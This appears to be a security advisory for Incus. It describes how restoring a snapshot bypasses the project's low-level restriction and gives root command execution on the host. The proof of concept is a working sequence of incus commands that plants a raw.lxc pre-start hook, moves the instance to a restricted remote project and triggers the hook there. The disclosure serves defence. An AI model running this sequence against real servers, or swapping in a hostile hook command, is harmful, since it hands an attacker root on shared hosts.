### Summary

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.


### Details

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.


### PoC

```
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
```


### Impact

- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.